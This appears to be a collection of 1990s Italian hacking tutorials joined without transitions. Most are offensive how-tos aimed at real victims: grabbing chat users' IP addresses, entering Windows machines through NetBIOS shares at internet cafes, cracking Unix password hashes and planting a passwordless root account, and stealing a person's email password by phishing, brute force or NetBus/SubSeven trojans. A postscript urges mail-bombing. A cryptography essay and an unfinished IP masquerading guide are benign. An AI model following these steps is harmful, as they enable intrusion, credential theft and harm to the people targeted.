[AIM] - Con AIM non puoi generalmente trovare l'esatto indirizzo IP senza alcune prove e errori poichè la maggior parte del tempo sembra collegare tutti gli utenti online sulla porta 5190. Così meno utenti sono online più è facile. Allora, vai al prompt di ms-dos e digita netstat -n lì, vedrai sotto [Foreign Addressess] un IP:con la porta 5190. Adesso uno di quegli IP che è connesso con te sulla porta 5190 diventerà il tuo utente bersaglio su AIM. Solo prove e errori per cercare sono generalmente il metodo più facile.

[ICQ] - per prendere un IP di un utente di ICQ usando netstat è facile. PRima di di parlare con la persona su ICQ devi aprire il prompt di ms-dos e fare il netstat -n per vedere tutti gli IP e le porte. Prendi nota o copiali da qualche parte così che li possa ricordare in seguito. Adesso è il momento di trovare questo IP. Manda un messaggio all'utente con un singolo messaggio e adesso velocemente fai netstat -n. Avrai una nuova linea aggiunta di un indirizzo IP, adesso cerca per quello nuovo nella colonna [Foreign Addressess] e una volta che l'avrai trovato hai l'ip del tuo amico senza patch o hackeraggi. Semplice abilità :P.

V. Altri usi

Netstat può essere usato per prendere gli IP di ogni cosa e ognuno, ogni volta che c'è una connessione diretta tra te e il bersaglio (es. messaggi diretti, trasferimenti di files o chat ICQ su ICQ, chat DCC (Direct Client Connection) o chat e trasferimenti di files su irc ecc..).

VI. strumenti e accessori

Port scanning: per cercare una qualsiasi porta aperta su un computer:
- [7th Sphere Port scanner] - (2 siti mirror nel caso che un link non funzionasse)

- http://members.xoom.com/Cryptog/7spereportscan.exe
- http://members.xoom.com/gohan_3/7spereportscan.exe

Firewall per monitorare porte e il registro:
- [Lockdown 2000]
  - http://www.lockdown.com

Per comunicare meglio:
- [ICQ]
  - http://www.icq.com
- [Aol Instant Messanger]
  - http://www.aol.com

Netstat con interfaccia grafica:
- [X-netstat]
  - http://spazioweb.inwind.it/m3xican/pagine/download/vari.htm

----

VII. Due trucchi veloci

----

a. Alcune volte netstat può generare liste molto lunghe, che sono specialmente confuse per i newbies. Se tu stai avendo difficoltà, esegui solo netstat, e poi fai una connessione diretta di qualsiasi genere col tuo bersaglio , o fallo connettere a te (ICQ, IRC, ecc.. ti sei fatto un idea) ed esegui netstat ancora. Ci dovrebbe essere una nuova linea, questo è quello che stai cercando.

b. Se l'output di netstat è troppo lungo, digita 'netstat -an > c:\directory\file.txt' (senza le virgolette, e puoi rimpiazzare i parmetri -an e il nome del file e il suo percorso con qualsiasi cosa tu voglia). Questo scaricherà l'output su quel file per una lettura semplice, e ti permetterà anche di eseguire un copia & incolla.

CONCLUSIONE

Io penso che sia una cosa migliore comprendere internet che usare degli strumenti che trovi.
Impara come fare le cose manualmente così comprenderai completamente cosa sta accadendo. Questo alimenterà il tuo potere e ucciderà la tua debolezza :)

-Tricker

==

Questa guida è stata tradotta dal M3xican (m3xican@napolihak.cjb.net),
se considerate la traduzione scadente o vi volete
cimentare nell'impresa potete scaricare la versione originale
in inglese sempre su <http://napolihak.cjb.net>.

```
Gli     ____    _ ___  ___     __     ______      ____08-10-1998
       / __/__  (_) _ \/ _ \___  / / ___ /_  __/__  ____/  _/ ASCII
      _\ \/ _ \/ / ___/ ___/ _ \/ /_/ _ `// / / _ \/ __// /    by
     /___/ .__/_/_/  /_/   \___/____|_,_//_/  \___/_/ /___/RigoR MorteM
        /_/
```
Presentano:

COME INTROMETTERSI IN SISTEMI 95 O NT via tcp/ip, SFRUTTANDO IL COMANDO NBTSTAT DI WINDOWS 95.

By Bacco

note (preso dal ns NG non ricordo la provenienza)

COME INTROMETTERSI IN SISTEMI 95 O NT via tcp/ip, SFRUTTANDO IL COMANDO NBTSTAT DI WINDOWS 95.

Affinchè tutto funzioni bisogna avere tra i nostri componenti della rete
il CLIENT PER RETI MICROSOFT e tra le impostazioni di quest'ultimo bisogna
abilitare la "CONNESSIONE RAPIDA".
Nella Connessione al provider dobbiamo anche attivare la casella di
"Accedi alla rete".

Innanzitutto occorre che i PC nei quali vogliamo entrare, abbiano il
NETBIOS attivo sul protocollo TCP/IP. Per sapere cio' basta andare in un
prompt di MS-Dos ed eseguire il comando NBTSTAT -A xxx.xxx.xxx.xxx (-A
maiuscolo; xxx.xxx.xxx.xxx = numero ip della macchina su cui verificare se
il NETBIOS è o meno attivo). (1)

Ora abbiamo due possibilità:
A) NETBIOS non è attivo sulla macchina remota e quindi non è possibile
entrarci :(
In questo caso l'output del comando NETSTAT -A xxx.xxx.xxx.xxx sarà: Host
not found.

B) NETBIOS è attivo e allora possiamo andare avanti. In questo caso
l'output sarà qualcosa del genere:

```
   Name             Type       Status
--------------------------------------------
SERVER        <00>  UNIQUE     Registered
MEDIA SPAZIO   <00>  GROUP      Registered
SERVER        <03>  UNIQUE     Registered
SERVER        <20>  UNIQUE     Registered
MEDIA SPAZIO   <1E>  GROUP      Registered
```

*potrebbero esserci anche altre voci...... ma questo non ci

interessa......

Se abbiamo trovato una macchina con il netbios attivo andiamo nella nostra directory \windows (o se avete installato windows in un'altra directory....in quella dove è installato) e cerchiamo il file Lmhosts. Se non è presente lo creeremo con il notepad. Ricordatevi di togliere l'eventuale estensione .txt quando lo salverete....

Attenzione: solitamente è presente un file chiamato Lmhosts.sam; è un esempio di come si fà il file Lmhosts.....ma non ce ne fotte nulla :)))

Editiamo quindi il file Lmhosts in questo modo:

xxx.xxx.xxx.xxx <tab> Nome della macchina <tab> #PRE

Il nome della macchina è il primo che troviamo con il comando NETSTAT -A xxx.xxx.xxx.xxx; nel caso portato ad esempio è SERVER

mettiamo che l'ip della macchina di cui sopra sia 194.210.123.11, scriveremo:

194.210.123.11 SERVER #PRE

usate la tabulazione per staccare le tre parti.

Salvate nella directory di windows e ricordatevi di togliere l'eventuale estensione .txt

Ora torniamo in Prompt di MSDos e scriviamo

NBTSTAT -R

dovremmo ricevere un messaggio di conferma
Successful purge and preload of the NBT Remote Cache Name Table.
altrimenti qualcosa non è andato bene.....probabilmente avete sbagliato qualcosa :)

Ora dobbiamo solo sperare che il PC abbia delle risorse condivise: Dischi.....Stampanti....

Per saperlo scriviamo: net view \\Nome della macchina
nel nostro esempio : net view \\SERVER

se condivide qualcosa avremo l'elenco delle risorse condivise...una cosa del genere:
Condivisione Tipo   Commento

So che è difficile che le condizioni affichè cio' funzioni si verifichino
tutte insieme......ma
con il programmino apposito (1).....sarebbe tutto abbastanza piu'
semplice.....e cmq....provate sugli intenet cafe'...ad esempio; io ieri ne
ho trovati un paio :)) Uno è stato protetto oggi.......perchè si tratta di
un locale di amici......ma ce ne sono molti.....se riuscite a prendergli
l'eudora.ini...ad esempio.....beh.....poi sta alla vostra fantasia.

(1) sarebbe utile a tal fine un programma che esegua NBTSTAT -A su un
range di ip. E qui un'appello ai programmatori del SOFT PROJECT; se avete
voglia e tempo....non sarebbe male..... con un po' d'impegno potrei farlo
pure io......ma non verrebbe sicuramente altrettanto bene :))

PS. Un saluto a tutti quelli di #hackers.it (IRCNET) e a tutti i
componenti del SOFT PROJECT..... con i quali mi scuso per non aver potuto
portare avanti il progetto iniziato.

PsPs.: se ti manca il file vnbt.386 (causa protect winnuke OOB) che
controlla il netbios non funge niente e devi provvedere!!!

PsPsPs.: se ti rompi di fare tutto cio' vai su www.volftp.tin.it e sulla
casella search metti msdun
sarebbe un aggiornamento di accesso remoto (in inglese) che ti permettera'
di accedere a un computer
mettendo semplicemente l'ip numerico della persona in trova computer che
sta nel menu avvio (trova)

Comunicare a un'altra persona delle informazioni e' un passaggio necessario per far progredire idee e concetti... qualche volta pero' e' anche altrettanto necessario evitare che altri ascoltino quello che abbiamo da dire...
Giulio Cesare, per esempio, garantiva la riservatezza dei suoi ordini scambiando le lettere dell'alfabeto fra di loro secondo uno schema che solo i suoi sotto ufficiali conoscevano... un metodo banale ma efficace se si pensa che a quel tempo la sola scrittura era gia' un modo per comunicare messaggi incomprensibili alla maggior parte delle persone...
Un codice di questo tipo oggi farebbe ridere, in pochi minuti un programma di ricerca statistica, tarato con le cadenze delle lettere in una particolare lingua, decifrerebbe il messaggio in pochi minuti, anche presupponendo che chi ha criptato i dati abbia usato un complicatissimo algoritmo per scambiare le lettere.
Facciamo finta che io debba inviare a un mio amico un'informazione segreta. Sicuramente questa verra' intercettata da un eventuale nemico che dispone di sofisticati metodi di calcolo...come posso fare per evitare che ne comprenda il significato ?

Primo caso: il mio amico viene a trovarmi a casa una sera, siamo sicuri di non essere spiati e ci accordiamo su un modo per codificare il messaggio.
Il sistema in questione viene generalmente chiamato "a chiave privata" ovvero il mittente e il destinatario sono i soli a sapere come decriptare il codice e, finche questo rimane segreto, possiamo considerarlo sicuro.
Questo modo di procedere ha pero' dei limiti: il primo e' che la chiave puo' essere difficilmente aggiornata, poiche', quando questo accade, bisogna avere la certezza di non essere ascoltati....piu' tempo la chiave resta attiva, maggiori saranno le probabilita' che il nemico la scopra...Se poi si ha la necessita' che un messaggio venga compreso da di piu' persone tutte in possesso della stessa chiave, aumenta notevolmente la possibilita' che il nemico possa intercettarla e compromettere la sicurezza...
Un esempio di questo tipo di codifica e' dato dall' americano DES ovvero Data Encryption Standard, la cui chiave base e' un numero di 56 cifre in formato binario, ovvero 2^56 possibilita' differenti di interpretare il messaggio.
Si puo' pensare che un numero cosi' grande assicuri una sicurezza assoluta, ma, viste le capacita' di calcolo dei moderni super computer e la potenza dei nuovi algoritmi, si e' ben lontani dal poter affermare l'impossibilita' di decryptazione da parte di estranei (vedi seconda parte dell'articolo)...

Secondo caso: io e il mio amico non possiamo incontrarci, anzi siamo costretti a scambiare messaggi con la certezza che questi vengono intercettati..non possiamo inviarci dunque chiavi segrete, come facciamo a rendere sicura una conversazione ?
Nel 1975 Whitfield Diffie e Martin Hellman inventarono un nuovo sistema per codificare informazioni: la "crittografia a chiave pubblica"... il concetto di base e' semplice: io ho due chiavi, una pubblica e una privata, se qualcuno vuole inviarmi un messaggio prende la mia chiave pubblica e lo crypta, a questo punto il solo che potra' decryptarlo sono io con la mia chiave privata... Matematicamente questo processo e' possibile utilizzando la teoria dei numeri primi: dati 2 numeri primi molto grandi e' facile ottenere il loro prodotto, mentre e' quasi impossibile risalire dal prodotto ai due numeri originali...in questo modo se io utilizzo i due numeri primi come chiave segreta e come chiave pubblica il prodotto, ottengo un sistema che mi garantisce sicurezza senza la necessita' di inviare la chiave al destinatario... e' questa l'idea alla base del metodo piu' diffuso oggi di codifica, l'RSA, nome derivato dalle iniziali degli ideatori Rivest-Shamir-Adleman del MIT. Una applicazione nota e' il famoso PGP di Philip Zimmermann, programma disponibile un po' ovunque sulla rete, che e' grado di garantire una sicurezza quasi assoluta...o almeno cosi' si

ritiene...
Infatti fino al 1982 i migliori sistemi di decodifica RSA erano in grado di decifrare un codice di 50 cifre in forma decimale per cui bastava usare chiavi pubbliche di 100 cifre per stare al sicuro..poi lo sviluppo della potenza di calcolo e degli algoritmi ha permesso di arrivare dapprima alla scomposizione di numeri di 60-70 cifre, e oggi a quelli di 90-100..e questi sono dati che non tengono conto delle novita', come il computer da uno migliaio (non ricordo il numero esatto ma erano davvero tanti) di Pentium Pro 200 Mhz in parallelo comprato dal governo americano...
...se venisse dedicato solo alla decifrazione di codici non so cosa potrebbe combinare....questo per quanto riguarda il calcolo puro, perche' se si considera l'aspetto teorico del problema si scopre che alcuni concetti matematici (noti gia' al tempo di Fermat) dicono che se un PC e' in grado di generare un numero di circa 300 cifre partendo da 2 numeri primi di 150 (questa e' infatti la dimensione della chiave pubblica si imposta il PGP in modalita' "sicurezza militare" ovvero crea un numero di 1024 bits) con la stessa potenza di calcolo deve essere possibile risalire ai 2 numeri di partenza... dunque tutti i dati che girano sulla rete criptati con l'RSA contano sul fatto che questo metodo previsto in linea teorica non venga mai scoperto dai matematici....se naturalmente non e' stato gia' scoperto ;)....

Ve la cavate in matematica e volete fare uno svracco di soldi subito ?
Facile: inventate un nuovo algoritmo di scomposizione in numeri primi e vendetelo al migliore offerente, ma dopo cominciate a rinunciare all'idea di poter inviare un messaggio riservato a qualcuno o di tenere segreto il vostro conto in banca....

Passiamo alla pratica - il file passwd

Il file piu' importante per la sicurezza dei sistemi Unix e' /etc/passwd.
In questo file infatti sono memorizzati gli account di tutti gli utenti che hanno accesso al sistema, ovvero il paradiso per chi sta cercando un modo per entrare in quel computer...
Il file passwd si presenta come una lista di stringhe di testo strutturate nel modo seguente:

```
username:password:userID:groupID:nome:homedirectory:shell
```

un esempio possono essere i seguenti:

```
root:xHPq.1DeS9nTD2:0:0:root:/:/bin/sh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
demo::101:100:demo:/usr/demo:/usr/sh
quirk:mV.ZNxmPykSek:578:12:Mr Quirk:/usr/quirk:/bin/sh
```

Analizziamo questi diversi tipi di account..

Lo username e' il nome che si inserisce quando viene richiesto il login ed e' la parola con cui verrai identificato quando sei all'interno del sistema... il primo username che compare in un file di passwd e' solitamente "root" ovvero l'operatore di sistema, colui che ha tutti i privilegi e puo'

fare qualsiasi cosa sulla macchina.. non mi dilungo sulle conseguenze che
puo' avere riuscire ad entrare in un sistema attraverso l'account root...:>
Il secondo campo della stringa di account e' proprio la password del rispettivo
user. Si possono incontrare diversi casi:

1) La password non e' dichiarata...(vedi account "demo" nell'esempio")
..ovviamente e' il caso migliore, ma,
trascurando l'eventualita' di operatori sfigati, o non ne troverete o vi
consentiranno un accesso ristretto al minimo, praticamente inutilizzabile
(a meno che non siate degli sboroni e utilizzate questi account per
inserire cavalli di troia nel sistema e guadagnare cosi' i privilegi
di un OP)...

2) La password e' un carattere "*" (account "bin, daemon")...
..qui c'e' poco da dire, questo tipo di acconut e' disabilitato per gli utenti e
viene utilizzato da sistema per gestire diversi tipi di servizi

3) La password e' una serie di caratteri sconnessi (account "root" e "quirk")
..in questo caso siamo davanti a una password criptata con il sistema DES
e possiamo lavorarci sopra...

Se vi capita di scaricare un simile file passwd...

```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man
```

..cominciate a imprecare, infatti il file in questione e' di tipo Shadowed,
ovvero tutte le passwd sono contenute in un altro file "shadow" che
l'amministratore puo' nascondere ovunque nel server... ovviamente non sto
a precisare quanto sia utile il solo file passwd con tutti gli account di questo
tipo.. (una cosa che proprio non so e' se possono esistere password file con
una parte di account normali e una parte shadow... non ne ho mai visti, ma
non posso escluderne la presenza...)

Mettiamo che in qualche modo siate riusciti a scaricare il file di passwd
da un server... il primo passo da fare e' controllare che non ci siano
account con accesso libero, se siete fortunati, ma molto fortunati, potete
anche tralasciare le prossime righe... se la ricerca, come nella maggior
parte dei casi, non da i frutti sperati allora bisogna munirsi di un buon
programma di decriptazione. L'ultimo in mio possesso si chiama John v1.0
creato nel 1996 ed e' molto piu' veloce dei suoi predecessori piu' famosi come
Brute o CrackerJack..
Il suo funzionamento e' semplice: cripta una serie di parole con il sistema
DES e controlla se il risultato e' uguale a quello scritto nel file passwd.
Puo' essere lanciato in due modalita' wordlist o incremental:
Wordlist significa che il programma legge da un file testo l'elenco di parole

che utilizzera' per trovare la password.. esistono diversi file contenenti
tutte le parole inglesi o italiane, a questi poi vanno aggiunti quelli che
contengono le password piu' comuni, i nomi propri di persona, nomi di
macchine.. tutto quello che insomma voi utilizzereste come chiave di accesso.
Il procedimento e' molto veloce.. in 30 secondi john vi dice se e' stata
usata una parola italiana, leggendo dal file con tutto il dizionario dentro,
(per informazioni: il file in questione contiene quasi 2 milioni di parole e
tiene circa 600 Kb) e in un'altra manciata di secondi vi controlla le liste
di parole piu' comuni e vari file aggiunti...
Nonostante non sia mai consigliato scegliere una parola semplice e scritta
senza caratteri speciali, un procedimento di questo tipo da
spesso piu' risultati di quello che ci si potrebbe aspettare...

Se una password non viene decriptata con le liste di parole comuni
allora rimane solo un modo: provare tutte le combinazioni di caratteri
disponibili, ovvero il modo incremental...
Penserete che per un computer potente come un Pentium II 266
associato a un programma ottimizzato riesca ad affrontare brillantemente una
simile impresa.. ma... facciamo qualche conto:

Ci sono 95 caratteri che si possono utilizzare in una parola chiave..
questi comprendono tutte le minuscole, tutte le maiuscole e tutti i caratteri
come !()?'^.... ovvero i caratteri ASCII da 33 a 128.
Una password al massimo e' costituita da 8 caratteri e dunque se vogliamo
contare tutte le possibilita' queste sono 95^8 ovvero 6.63*10^15...
un programma come john su un Pentium II 266 puo' controllare circa 20000
parole al secondo.. non sono certamente poche ma per controllarle tutte
occorrono ben 10000 anni...tantini...La statistica pero' ci da una mano e
infatti john e' calibrato su un datadase di 10000 password da cui ha
estrapolato i caratteri piu' comuni, in questo modo vengono provate
prima le combinazioni piu' probabili e vengono lasciate per ultime
quelle piu' complicate... in questo modo si riduce enormente il tempo
per identificare una parola chiave, senza contare poi che molti, in barba
alla sicurezza del sistema, scelgono parole strane ma cortissime, di 4-5
caratteri che vengono scoperte nel giro di un giorno...

A volte puo' anche meravigliare quanto un sistema possa essere insicuro,
con OP che scelgono una password incasinatissima per l'accesso root e
poi trovi degli utenti con chiavi tipo "pippo" "ciao" che hanno quasi
privilegi da amministratore...
Se pero' si sceglie una password complicata allora direi che diventa
praticamente impossibile decifrarla, in casi simili non bisogna disperare
...le vie del signore sono infinite...
si puo' infatti cercare di infiltrarsi in account scoperti ed editare il
file passwd inserendo una riga come

```
  mckrak::0:0:Super User:/:/bin/sh
```

...riconnettersi come mckrak e dare inizio alle danze...
sembra facile...ma molto spesso non e' un impresa da poco...

Per ulteriori informazioni sui sistemi Unix rimando ad articoli specifici
dove verra' spiegato cos'e' l'UserID, il groupID, la shell, ecc...

Se uno di questi giorni trovo un po' di tempo (ma soprattutto la voglia),
mi piacerebbe variare il codice sorgente di John in modo da sfruttare le
istruzioni MMX dei nuovi processori... il codice MMX e' infatti composto
da 57 istruzioni che utilizzano i registri della FPU per velocizzare i

```
calcoli matematici, abbondanti nei programmi multimediali o
di grafica real-time... implementando queste nella routine di John
che crypta le parole chiavi col sistema DES, penso che si possa aumentare di
un buon 80 % la velocita' di esecuzione del programma... ma la cosa potrebbe
rivelarsi abbastanza incasinata ...

                      Jack McKrak

P.S. Ultimante si sentono molte notizie di pedofili che usavano internet per
spacciare immagini e informazioni di ogni tipo...vorrei invitare tutti
quelli che per caso capitano in gruppi o siti di questo genere a boicottare
nel modo piu' totale chi favorisce la diffusione di questo materiale...
se non volete segnalare tutto alle autorita' munitevi almeno di un bel
programma di Mail Bombing e fata tabula rasa di tutti gli indirizzi collegati...
Fermiamo chi usa la rete per veicolare principi opposti a quelli per cui
e' stata creata...
```

COME SCOVARE LE PASSWORD DI POSTA ELETTRONICA
Supponiamo di dover scovare la password di posta elettronica di un utente, e cerchiamo di vedere quali siano i possibili metodi per realizzare tale azione. Una prima tecnica, praticamente impossibile da applicare, potrebbe essere riuscire ad entrare nel server di posta a cui è registrato l'utente e trarre tutte le informazioni che si vogliono. Purtroppo questa è una vera e propria azione di crackaggio ed è da escludere a priori. Comunque se ci riuscite contattatemi perché vi do le mie coordinate bancarie, e mi fate anche un favore... :)
Un secondo metodo, molto più realistico e funzionale, è quello di crearsi un account di servizio presso lo stesso servizio di posta a cui è registrato l'utente. Supponiamo che la vittima sia ciccio@katamail.com, basta crearsi un account tipo staff_tecnico@katamail.com, e mandare a ciccio una bella mail, ricca di formalità, in cui gli si richiede di inviarvi il nome utente e la password, per morivi tecnici di riordino dei database. Se ciccio non è propriamente un genio, tale tecnica dovrebbe funzionare, ma potrebbe destare qualche sospetto ed indurlo a cambiare password magari dopo qualche giorno, dunque spicciatevi:)
Se ciccio si verificasse più furbo del previsto, dovreste passare al piano numero tre. La terza tecnica, ovvero l'uso di programmi specifici che provano molte password, sino a che non trovano quella che gli permette di entrare. Nel sito, a tale scopo, sono presenti Elzapop, e brute, ma se volete uno strumento ancora più veloce potete ricorrere a Brutus che troverete senza alcuna difficoltà nella rete, mentre sconsiglio l'uso di Unsicure 1.2, che è valido per il cracking dell'FTP, ma non adatto al nostro scopo. In Elzapop, sono presenti due file, user.txt e pass.txt, entrambi vuoti. Voi non dovete far altro che inserire in user.txt, la stringa "ciccio" e sovrascrivere pass.txt con un file dallo stesso nome ma che contenga una grande sfilza di password possibili, un esempio potrebbe essere:

pippo
topolino
paperino
clarabella

A questo punto basterà lanciare il comando dal prompt di dos: elzapop mail.katamail.com ed elzapop proverà tutte e quattro le password inserite, sull'utente scritto in user.txt, ovvero su ciccio@katamail.com Il problema che si pone ora è di avere un gran numero di password possibili. Nel

sito ho fornito un dizionario delle parole italiane, comunque in giro per la rete se ne trovano di tutti i tipi: inglese, tedesco, spagnolo, cinema, nomi, ecc, ecc...
Arrivati a questo punto, se dopo il pomeriggio speso a provarle tutte, ottenete la vostra bella password che Elzapop vi svelerà con tanto entusiasmo, avete ottenuto il vostro scopo, mandatemi una bella mail e fatemelo sapere. Se invece, siamo caduti nello sconforto, niente paura... non siamo ancora del tutto affondati, manca la poppa... :)
Nel sito sono presenti txt2diz, WeirdWord e passlist, i primi due prendono un vostro documento e ne creano un file con tutte password rimescolando le parole presenti nel file di input, mentre passlist crea tutte le password possibili, dandogli come input, solamente l'inizio della ricerca e il tipo di caratteri presenti nella password... occhio ai file di dimensione eccessiva...
La premessa è che con i primi due, si ottengono bei risultati, sempre ammesso che ciccio abbia una password abbastanza usuale... Se ciccio avesse una password piuttosto complicata con lettere minuscole, maiuscole e numeri ad esempio, si dovrebbe ricorrere alla creazione di una lista di password con passlist ed in tal caso i tempi per provarle tutte sarebbero davvero lunghissimi ed a meno che non si possegga un processore Alpha e un collegamento di tipo T3, di sicuro spenderemmo solo un gran numero di ore di collegamento a internet :(
Se avete ottenuto Brutus, la stessa cosa la potete fare direttamente senza utilizzare passlist, perché farete direttamente un attacco di tipo BruteForce...
In questo punto della vostra disperazione, non credo abbiate ottenuto risultati concreti, io non li ho ottenuti... però provate pure col brute force... :)
Se dopo ore e ore di prove, non riuscite ad ottenere nulla, forse è il caso di lasciar perdere questa tecnica, perché ciccio ha di certo una password come si deve... :(
Si passa in questo dantesco avvicinamento all'inferno, alla quarta tecnica, più che semplice, ma attuabile solo se avete accesso diretto al pc della vittima. Consiste nel prelevare tutti i file di estensione *.pwl e con programmi specifici che si trovano per la rete e che effettuano un attacco brute force (non siete connessi, operate su di un file, tempi molto ridotti...), al massimo in 3 giorni otterrete le password di tutto il sistema, tra cui di certo anche quella di posta elettronica di ciccio. La faccenda si complica ma neanche troppo, se si deve ricorrere alla quinta via, che consiste nell'effettuare lo stesso "lavoro" svolto nel quarto metodo, ma questa volta senza avere l'accesso diretto al pc della vittima: bisogna lavorare in remoto. Alex vi fornisce nel sito diversi trojan, NetBus, SubSeven e in giro se ne trovano anche di altri, scaricatene uno, studiate qualche modo per infettare la vittima col server(un'idea ovvia è inviarglielo per posta a nome di un amico :)), e cercate con le tecniche descritte da Alex nella sezione Ip, di scoprire il suo ip, o il nome host, potrete controllare così da remoto il suo pc. A questo punto basterà attivare il comando che preleva i file .pwl (in NetBus è FILE MANAGER-DOWNLOAD). Ora avete i file delle password criptate, sapete già cosa fare, altro giro altra corsa, si parte col BruteForce e si ottiene la password... Un sesto metodo, molto più ristrettivo, è attuabile se voi avete un documento word protetto della vittima. Con il programma Office password recovery che vi mette a disposizione Alex, avrete in breve tempo la password e poiché è molto usuale usare una password un po' per tutto, avrete anche ottenuto al 99% la chiave di accesso alla posta elettronica...
Provatele tutte finché non la trovate, e se dopo innumerevoli tentativi non trovate nulla, comprate un processore Alpha :) oppure molto più semplicemente, mettetevi l'anima in pace. Se conoscete altre tecniche mandatemi materiale qui: lordnietzsche@hotmail.com   (Special thanks to Infected Machine)

TITOLO: Guida all'IP Masquerading
AUTORE: GoMoRRaH
TRADOTTO DA: Net-Destroyer
TEMPO IMPIEGATO PER LA TRADUZIONE: un pomeriggio

1 Mascheramento ?

Informazioni su questo documento

Questo documento ha solo una ragione di esistere, e cioè quella di insegnare qualcosa a qualcuno.

Chi dovrebbe leggere questo documento

Se tu hai dei computer a casa e vuoi condividere la tua connessione internet con il resto della tua famiglia, oppure se vuoi vedere le e-mail sullo schermo del computer alla tua sinistra, e nel frattempo chattare in irc sullo schermo del tuo computer alla tua destra, tu hai bisogno di usare l'ip Masquerading. Si, lo sò che ci sono anche modem che provvedono automaticamente alla condivisione dei pacchetti per i prodotti microsoft sul mercato. Ma il vantaggio di farlo via software è che puoi montare un 386 in modo che funzioni da mascheratore degli ip,da router, e nello stesso tempo da firewall, per cui con un livello di sicurezza e di efficienza molto elevato.

2 Di cosa hai bisogno?

Benchè io non abbia ancora spiegato cos'è il Mascheramento (siate pazienti) comincerò col dirvi cosa vi serve in ordine per usare il Mascheramento. Vi servono:

-2 o + computer
-una connessione fra questi 2 computer
-differenti indirizzi ip assegnati a tutti i pc
-un pc con un modem e una connessione a internet
-un sistema linux con un kernel 2.2.x o superiore installato su una macchina
-mezz'ora del tuo tempo (nel peggiore dei casi)

-qualcosa da mangiare

Bene, ora che sai cosa ti serve in ordine per usare il Mascheramento, posso cominciare a spiegarti cos'è il Mascheramento:

3 Che cos'è?

Io sò che il Mascheramento è un processo complicato cosi prima di cominciare con la parte tecnica comincerò con un esempio che vi farà capire +
facilmente il Mascheramento. Una persona A ama una persona B ma la persona A non è nella stessa scuola di B, però ha il suo numero di telefono.
C'è anche un amico comune (C) che conosce A ed è nella stessa scuola di B. Cosi A parla con C, e C parla con B senza menzionare chi è A. Dicendo
che le informazioni sono solo per se stesso.
Immaginate ora che la persona B sia internet, e la persona A sia un client mascherato, e che C sia il server mascheratore.

Per capire meglio farò una breve introduzione al TCP/IP. TCP/IP stà per Trasmission Control Protocol/Internet Protocol. E' largamente usato per
le comunicazioni fra computer (prima del TCP/IP tutti usavano l'UUCP = Unix to Unix Copy Protocol). Il TCP/IP è un protocollo che controlla la
tua comunicazione, e che usa indirizzi ip. GLi indirizzi ip consistono in 12 numeri raggruppati in gruppi da 3, e separati da un punto,
ad esempio 212.213.221.221 .I numeri vanno da 0 a 255, questo protocollo di identificazione di host nella rete tramite indirizzi ip cosi
strutturati è detto ipv4, ora si stà diffondendo il nuovo protocollo ipv6, che diventerà standard entro 3 anni, dove gli indirizzi ip sono
composti da 8 numeri esadecimali (0-9 a b c d e f) separati da due punti (:), che per motivi che non vi stò ora a spiegare è stato creato,
cmq prevalentemente per permettere ad internet di avere molti + utenti connessi contemporaneamente di adesso.
Il TCP/IP lavora cosi:

=>Io sono 1.2.3.4 e voglio contattare 1.2.3.3
->Io sono 1.2.3.3 mi hai chiamato?
=>Io sono 1.2.3.4 e ti ho contattato
->Io sono 1.2.3.3 e pronto
=>Io sono 1.2.3.4 e voglio quel file
->Io sono 1.2.3.3 e stò mandando la prima parte a 1.2.3.4
=>Io sono 1.2.3.4 e l'ho ricevuta
->Io sono 1.2.3.3 e stò mandando la seconda parte a 1.2.3.4
=>Io sono 1.2.3.4 e io non ho ricevuto niente
->Io sono 1.2.3.3 e te la stò mandando di nuovo
=>Io sono 1.2.3.4 e io l'ho ricevuta
->Io sono 1.2.3.3 e stò aspettando
=>Io sono 1.2.3.4 e sono pronto, ciao
->Io sono 1.2.3.3 ciao

Io sò che questa può sembrare una cosa da bambini, ma una comunicazioni di dati (e anche il TCP/IP) lavorano proprio cosi.

```
                     ___________
                    |      |
```

```
                  /| 10.0.0.2 |
                 / |__________|
                /
               /
              /
             /
      10.0.0.1    /
 _________     _____  /       ___________
|        |     |    |/       |          |
|internet|------|    |---------| 10.0.0.3 |
|_________|     |_____|\      |___________|
              \
      11.1.1.4    \
               \
      PPP          \
                \
                 \  ___________
            ETH   \ |          |
                   \| 10.0.0.4 |
                    |__________|
```

Ora dovresti essere in grado di capire l'immagine. Voi vedete un computer con un ip locale 10.0.0.1 che è connesso a internet tramite
 una linea telefonica, e con un ip dato dal'ISP (Internet Service Provider) che è 11.1.1.4 . Che cosa significa? Se qualcuno su internet
 prova a contattare 11.1.1.4 riceverà un responso, ma se invece provasse a contattare 10.0.0.1 non riceverebbe alcun responso anche se
 è lo stesso computer, per il semplice fatto che l'ip 10.0.0.1 non c'è su internet (o magari c'è, ma si tratta comunque di un'altro pc).
Allora noi abbiamo 10.0.0.2 finchè 10.0.0.X si connette a 10.0.0.1 . In questo caso noi consideriamo 10.0.0.1 come gateway (il gateway
 è una sorta di uscita verso un'altro network, un gateway può essere linkato tra 10.0.1.X e 10.0.0.X , ma tuttavia prima che la macchina
 riconosca 10.0.1.X e 10.0.0.X servirebbero 2 network card, o in questo caso un modem e una network card). Cosi noi lo consideriamo come
 gateway ma c'è 1 dettaglio, per 10.0.0.1 diventa un gateway. Ma non per la semplice ragione che internet non lo vuole riconoscere.
=>Io sono 10.0.0.2 e vorrei contattarti
->Io sono 1.2.3.3 e ora io ho idea di come raggiungerti, vattene (questo messaggio non è davvero mandato in broadcast perchè non ci
sono route logici tra i 2 computer, pertanto il messaggio viene solamente loggato)
Ma allora che cosa fà il Mascheramento? Bè, esso dà il proprio ip (11.1.1.4 è l'ip collegato all'ISP, dato da DHCP per esempio) l'
